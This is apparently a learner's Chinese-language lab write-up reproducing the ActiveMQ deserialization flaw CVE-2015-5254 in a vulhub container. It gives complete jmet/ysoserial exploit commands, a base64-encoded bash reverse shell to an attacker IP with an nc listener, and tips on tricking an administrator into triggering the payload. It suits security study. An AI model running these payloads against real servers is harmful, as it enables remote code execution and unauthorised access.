ActiveMQ反序列化漏洞 CVE-2015-5254
一、相关说明
1.1 准备
- vulhub环境用来启动漏洞;
- 下载工具jmet;
- 自己常用的攻击机包含常见工具。
1.2 activemq
全名Apache ActiveMQ,是阿帕奇的一套开源消息中间件,支持java消息服务、集群、Spring Framework等。
关于消息中间件我也不是很理解具体的原理,有好的说明文章可以分享给我。
我简单理解的就是,销售卖了东西(前端修改数据)就要去仓库拿货(发送请求修改数据库),因为实际操作了数据库,所以响应速度慢,MQ就像是一个仓库登记员,销售卖了东西不用自己去仓库,只需要和登记员登记下,等不忙的时候,再去按登记的数据对仓库处理,这样响应速度就变快了。
1.3 关于漏洞
漏洞存在于Apache ActiveMQ 5.13.0之前的5.x版本中
该漏洞源于没有限制可在代理中序列化的类,远程攻击者可借助特制的序列化的JMS ObjectMessage对象利用该漏洞执行任意代码。
1.4 利用说明
开启环境后,将会监听两个端口,61616和8161,其中616116是工作端口,消息在这个端口传递,8161是web管理页面
使用jmet进行漏洞利用,首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在错误);jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
然后构造(可以用ysoserial)可执行命令的序列化对象
作为一个消息,发送给目标61616端口
访问web管理页面,读取消息,触发漏洞
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
注意通过web管理页面访问消息并触发这个漏洞需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问时触发。
二、漏洞复现
2.1 洞基础复现
先启动环境
cd /usr/vulhub/activemq/CVE-2015-5254/
//到vulhub的环境中去
docker compose up -d
//启动环境
docker ps -a
//查看容器
docker compose down -v
//关闭容器
下载jmet https://github.com/matthiaskaiser/jmet,主要是这个jar文件,其他的不需要
到这个jar的存放目录执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 192.168.192.200 61616
发送成功,访问下web看看
默认口令admin/admin
可以看到发送了一条消息
去docker容器下验证一下,可以看见tmp目录下新建了一个文件夹success
2.2漏洞进一步利用
上面复现的过程可以看到,漏洞的利用是命令执行,且没有即时的返回(需要activemq处理消息时才会执行),xcw所以选用反弹shell的方式利用该漏洞。
先写个反弹shell,base64编码
bash -i >& /dev/tcp/192.168.192.129/29981 0>&1
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xMjkvMjk5ODEgMD4mMQ==
然后在攻击机上开个监听
nc -nvlp 29981
通过漏洞上传反弹shell
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5Mi4xMjkvMjk5ODEgMD4mMQ==}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.192.200 61616
访问web执行,可以看到成功反弹shell
三、复盘总结
3.1 遇到的问题
- 反弹shell这里不熟悉,记得有个大概,但具体的给忘了,也不清楚为啥这个shell需要base64加密;
- 中间件不了解,几乎三分之一的时间用于学习这个中间件的用途,清晰他的概念;
- 英语水平不足,用到了一个工具jmet,看不懂文献,也没找到中文说明,除了复制粘贴还是没学会使用。
3.2 实战利用
-
首先问题是版本:漏洞存在于Apache ActiveMQ 5.13.0之前的5.x版本中;
-
其次问题是触发:该漏洞需要中间件发送这条信息才能利用,但是根据消息中间件的工作原理,我即刻上传了不一定即刻发送,可能等一个小时甚至等一天才行;
-
最后是收益问题:支持分布式部署,也就是可以不用和服务器数据库放在一台主机上,甚至放在docker容器也可以,实战环境下,能否从docker环境中跳出到主机或者横向不能确定。
3.3 总结
时间花了不少,但还是模模糊糊的没搞太清楚,也不知道上面的理解和思路有没有问题,慢慢学,加油。